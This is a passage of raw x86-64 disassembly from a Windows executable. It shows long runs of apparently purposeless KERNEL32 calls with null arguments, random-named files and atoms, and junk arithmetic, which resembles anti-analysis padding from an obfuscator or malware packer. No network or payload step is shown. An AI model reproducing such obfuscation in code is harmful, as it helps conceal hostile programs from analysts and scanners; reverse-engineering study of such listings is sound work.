mov byte [rcx], al
movzx ecx, word [rsp + 0xfd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11e8], ax
mov rcx, qword [rsp + 0x9e80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [0x14024f3be]
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0xa668]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1fd]
movsx ecx, byte [rsp + 0x278]
add eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.BRgHMFAsQ77JoIC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xae38], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xa108]
mov qword [rsp + 0xae40], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [0x14024f184], al
mov r9d, 1
lea r8, [rsp + 0xae10]
mov rdx, qword [rsp + 0xae48]
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4960], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movzx eax, word [rsp + 0xfb0]
mov rcx, qword [rsp + 0xab40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10bc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14024f1e8]
mov eax, dword [rax]
mov dword [rsp + 0x4d20], eax
mov rcx, qword [rsp + 0xa608]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4d24], eax
mov rax, qword [rsp + 0x80a8]
movzx ecx, al
mov rax, qword [rsp + 0xa820]
shl rax, cl
mov qword [rsp + 0xa3d8], rax
mov rax, qword [rsp + 0x9868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ff0]
mov qword [rsp + 0xae50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x84b8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rax, [0x14022fb68]
mov qword [rsp + 0xae58], rax
movsx eax, word [rsp + 0x1218]
movsx ecx, word [rsp + 0x1210]
xor eax, ecx
mov rcx, qword [rsp + 0x9bd0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx ecx, word [rsp + 0xf9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1238], ax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0xae60], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xae68], rax
movzx ecx, word [rsp + 0x1220]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d8], ax
mov eax, dword [0x14024f350]
mov ecx, dword [rsp + 0x465c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x282]
movzx ecx, byte [rsp + 0x2ba]
and eax, ecx
mov byte [0x140221038], al
movzx eax, word [rsp + 0x1200]
movzx ecx, word [rsp + 0x10a4]
imul eax, ecx
mov word [rsp + 0x129c], ax
movzx ecx, word [rsp + 0x130c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12a0], ax
lea rcx, [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfb4], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b58], eax
lea rax, [rsp + 0xaa58]
mov qword [rsp + 0xae78], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0x9e58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa58], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0xae88], rax
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0xa488]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x294], al
movsx eax, word [rsp + 0xa2c]
mov rcx, qword [rsp + 0x9940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x630], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d38], rax
movzx ecx, word [rsp + 0x10c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1364], ax
lea rcx, [rsp + 0x1a9a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xad88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4864]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfa4]
mov rcx, qword [rsp + 0x9520]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6ec], ax
mov rax, qword [rsp + 0xa2c8]
mov eax, dword [rax]
mov dword [0x14024f180], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4a7
mov r9d, 0x2956
mov r8d, 0x646dde34
mov edx, 1
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4918], eax
mov rcx, qword [rsp + 0xa480]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.zjXMOh_abqf2aotdC2esDAsLHC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xae90], rax
lea rcx, str.5hk0ktq_LT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1378], ax
mov rax, qword [rsp + 0xa200]
mov rax, qword [rax]
mov qword [rsp + 0xae98], rax
mov rax, qword [rsp + 0x9708]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8410]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8868], rax
movzx ecx, word [rsp + 0x1104]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x112c], ax
mov rcx, qword [rsp + 0x9d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x257]
add eax, ecx
mov byte [rsp + 0x1eb], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.SHbm9_fNpbC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaea0], rax
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xab80]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49ec], eax
mov rax, qword [rsp + 0xa780]
mov rcx, qword [rsp + 0x99c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9658]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9a88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a0], al
lea rax, [rsp + 0x4b8c]
mov qword [rsp + 0xaea8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c70], eax
mov rax, qword [rsp + 0xa4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab60]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9f10]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0xa168]
mov rdx, qword [rsp + 0xa968]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c14], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, str.XG.Lan
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x139c], ax
mov dword [rsp + 0x20], 0xfef
mov r9d, 0x55e
mov r8d, 0x3d63
mov edx, 0x1daf
mov rcx, qword [rsp + 0x9e78]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c44], eax
xor r9d, r9d
lea r8, [rsp + 0xa090]
mov rdx, qword [rsp + 0xaeb0]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4994], eax
lea rdx, [rsp + 0xae48]
mov rcx, qword [rsp + 0xaea0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4abc], eax
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0xaeb8], rax
lea rcx, str.Dh13gpR_GxpY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1180], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ad]
or eax, ecx
mov byte [0x14022133e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x46d4]
movzx ecx, al
mov eax, dword [rsp + 0x3f74]
shr eax, cl
mov dword [rsp + 0x45fc], eax
mov edx, 0x2471
mov rcx, qword [rsp + 0xa140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a78], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rcx, str.QR3kQ24i_k
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13a0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe5c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa6d8]
mov rax, qword [rax]
mov qword [rsp + 0xaec0], rax
mov rax, qword [0x14024f3c0]
cqo
mov rcx, qword [rsp + 0x9e10]
idiv qword [rcx]
mov qword [rsp + 0xa2b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaec8], rax
mov rax, qword [rsp + 0xac60]
mov ecx, dword [rsp + 0x4b14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x42dc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xa990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ed0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x11f8], ax
lea rax, [rsp + 0xd6]
mov qword [rsp + 0xaed0], rax
mov rax, qword [rsp + 0xa780]
mov ecx, dword [rsp + 0x490c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c48], eax
mov rax, qword [0x14024f1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14024f1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x95c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x97b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov word [rsp + 0x13a4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xae78]
mov rcx, qword [rsp + 0x7c88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x88e8], rax
lea rdx, [rsp + 0x97d8]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d28], eax
lea rax, [rsp + 0x285]
mov qword [rsp + 0xaed8], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0xa930]
mov rcx, qword [rsp + 0x8e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4c34], eax
movsx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x9568]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rcx, str.OcpCR_MjsF_15HCbGO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13a8], ax
mov r9d, 2
lea r8, [rsp + 0x9c90]
mov rdx, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a64], eax
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13ac], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx eax, word [rsp + 0x12cc]
mov word [rsp + 0x13b0], ax
mov eax, dword [rsp + 0x4b60]
mov ecx, dword [rsp + 0x4074]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b1c], eax
lea rax, [0x14022fb84]
mov qword [0x14024f178], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, [rsp + 0x21660]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4d2c], eax
mov rax, qword [rsp + 0x8660]
mov rcx, qword [rsp + 0xae98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8828], rax
movzx eax, byte [rsp + 0x20e]
movzx ecx, byte [0x14024f184]
sub eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov rax, qword [rsp + 0xaad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xadf0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x10cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rax, [rsp + 0x4570]
mov qword [rsp + 0xaee0], rax
mov rax, qword [rsp + 0x9fe0]
movsx eax, word [rax]
movsx ecx, word [0x14024f3bc]
shl eax, cl
mov word [rsp + 0x1118], ax
mov eax, dword [rsp + 0x4b78]
mov dword [rsp + 0x4d30], eax
movsx eax, byte [rsp + 0x27b]
movsx ecx, byte [rsp + 0x216]
xor eax, ecx
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0xa888]
mov rcx, qword [rsp + 0xac80]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0e8]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov eax, dword [rsp + 0x4800]
movzx ecx, al
mov eax, dword [rsp + 0x4290]
shr eax, cl
mov dword [rsp + 0x42b8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f96
mov r9d, 0x2e60
mov r8d, 0xb6a3f6d2
mov edx, 1
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4adc], eax
lea rax, [rsp + 0x20e]
mov qword [0x14024f170], rax
movzx eax, word [rsp + 0x10e8]
imul eax, eax, 0xd27
mov rcx, qword [rsp + 0xa5c0]
mov word [rcx], ax
lea rax, [rsp + 0x94f8]
mov qword [rsp + 0xaee8], rax
mov rax, qword [rsp + 0xadd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa000]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0x9d30]
movzx eax, word [rax]
mov word [rsp + 0x13b4], ax
mov rax, qword [rsp + 0x9c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4314]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b14], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.ilLRfXBrXZa4NVS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaef0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9a88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa6e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
mov byte [rsp + 0x2bd], al
movzx ecx, word [rsp + 0x1058]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cf8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rcx, qword [rsp + 0x9b60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x1264]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf58], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xa5e0]
mov rcx, qword [rsp + 0xa070]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a58], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xaef8], rax
movzx ecx, word [rsp + 0x124c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1074], ax
mov edx, 0x600
mov rcx, qword [rsp + 0x9e80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ca0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13a0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [rsp + 0x6d8]
add eax, ecx
mov word [0x14022fb94], ax
lea rcx, str.lyvnzzt_D
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12e4], ax
mov dword [rsp + 0x21780], 0x11c
movzx ecx, word [rsp + 0x130c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1340], ax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1fc80]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bb8], eax
mov rax, qword [rsp + 0xad48]
mov rcx, qword [rsp + 0x7920]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x85c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa1f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov edx, 0xcf7
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d34], eax
mov rax, qword [rsp + 0xa0c0]
mov rcx, qword [rsp + 0xa030]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d08]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rcx, qword [rsp + 0xa218]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x41a8]
mov ecx, dword [rsp + 0x4970]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
lea rcx, str.c2_hPXyq_XPh_EDP7d
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1334], ax
movzx eax, byte [rsp + 0x2b8]
mov byte [rsp + 0x2be], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.TJNyTsjGpdV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaf00], rax
movsx eax, word [rsp + 0xf90]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x12a4], ax
lea rcx, str.hiswT_U7KLB_m
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x89e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8298], rax
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8ce8]
mov qword [rsp + 0xaf08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf08]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa248]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0xaed8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x27e]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa898]
mov byte [rcx], al
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa40]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022fbbc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x1ccd
mov rcx, qword [rsp + 0x9ba8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a978]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4924], eax
lea rcx, str.D5Qn
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13b8], ax
mov r9d, 2
lea r8, [rsp + 0x8ee8]
mov rdx, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49f4], eax
movzx eax, byte [rsp + 0x1d3]
mov byte [rsp + 0x2bf], al
movzx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0xab40]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1390], ax
movzx ecx, word [rsp + 0x1064]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13bc], ax
lea rcx, [rsp + 0x1a7c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa9b0]
mov eax, dword [rax]
mov dword [rsp + 0x4d38], eax
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0xad88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa1a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8b], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movsx eax, word [rsp + 0x940]
movsx ecx, word [rsp + 0xf70]
and eax, ecx
mov rcx, qword [rsp + 0xa9f0]
mov word [rcx], ax
mov rcx, qword [rsp + 0xa2f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b34], eax
mov rax, qword [rsp + 0x9df8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c0]
imul eax, ecx
mov rcx, qword [rsp + 0xa0a0]
mov word [rcx], ax
lea rax, [0x14024f1f8]
mov qword [rsp + 0xaf10], rax
mov rax, qword [rsp + 0x9538]
mov ecx, dword [rsp + 0x4074]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fba8], eax
mov rax, qword [rsp + 0xa2f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.yySn5PJS2frhq25iJB2rdqWEERPH5gWpIk2kx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaf18], rax
mov rcx, qword [rsp + 0x9ef0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4d08], eax
lea rax, [rsp + 0xa000]
mov qword [rsp + 0xaf20], rax
mov edx, 0x1e37
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a14], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0x8110]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa438]
mov qword [rcx], rax
movzx eax, word [rsp + 0x704]
mov rcx, qword [0x14024f270]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1288], ax
movzx ecx, word [rsp + 0x139c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
lea rdx, [rsp + 0x9cc0]
mov rcx, qword [rsp + 0x9b78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d3c], eax
movzx ecx, word [rsp + 0x10e4]
